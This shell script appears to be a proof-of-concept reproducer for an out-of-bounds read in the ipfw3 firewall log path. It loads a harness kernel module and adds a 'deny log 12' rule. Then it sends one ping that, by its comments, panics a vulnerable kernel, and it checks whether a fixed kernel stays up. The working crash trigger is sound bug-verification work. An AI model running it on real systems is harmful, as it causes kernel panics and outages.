#!/bin/sh
# DF-0748 end-to-end reproduction, all in one script.
#
# Pre-conditions on the guest:
#   - /root/poc748/harness/{harness.c,Makefile,wire.sh,df748_wire_log.ko} present
#   - /root/poc748/trigger.sh present
#
# This script:
#   1. sets default-to-accept, loads ipfw3 + ipfw3_basic, enables verbose
#   2. builds (if needed) and loads the harness module that wires ip_fw3_log_ptr
#      (without this, the buggy function is unreachable: ip_fw3_log_ptr is never
#       assigned by any code in sys/)
#   3. installs rule `deny log 12 icmp from 127.0.0.1 to 127.0.0.1`
#      (id=12 reads sysctl__net_inet_ip_fw3_basic_children at module offset
#       0xffffffff8264f080; its +16 bytes = 0xc000200200000100 -> non-canonical
#       bpf_if * -> bpf_mtap deref -> trap 9 general protection fault)
#   4. fires one ICMP packet via ping
#   5. on VULNERABLE kernel: guest panics, script never reaches the next line
#      on FIXED kernel: the new `if (id >= LOG_IF_MAX) return;` guard in
#      ip_fw3_log() short-circuits before the OOB read; the deny rule still
#      drops the packet (100% loss), but the guest stays up and this script
#      prints "GUEST_UP_NO_PANIC".

set -u
PATH=/sbin:/bin:/usr/sbin:/usr/bin

echo "[*] DF-0748: loading ipfw3 stack"
sysctl net.filters_default_to_accept=1                 2>&1
kldload ipfw3                                          2>&1 || true
kldload ipfw3_basic                                    2>&1 || true
kldstat | grep -iE "ipfw3|df748"

echo "[*] enabling verbose (gates entry to ip_fw3_log at ip_fw3_log.c:118)"
sysctl net.inet.ip.fw3.verbose=1                       2>&1

echo "[*] building+loading harness module that wires ip_fw3_log_ptr = ip_fw3_log"
if [ ! -f /root/poc748/harness/df748_wire_log.ko ]; then
    ( cd /root/poc748/harness && make 2>&1 | tail -3 )
fi
kldload /root/poc748/harness/df748_wire_log.ko         2>&1 || true
kldstat | grep df748

echo "[*] installing vulnerable rule (id=12 reads OOB, returns non-canonical ptr)"
ipfw3 delete 1000                                      2>&1 || true
ipfw3 add 1000 deny log 12 icmp from 127.0.0.1 to 127.0.0.1 2>&1
ipfw3 show 2>&1 | head -3

echo "[*] firing one matching ICMP packet (panic now on vulnerable kernel)..."
ping -c1 -t1 127.0.0.1                                 2>&1 || true
echo "[!] GUEST_UP_NO_PANIC (FIXED kernel; baseline would have panicked here)"
exit 0
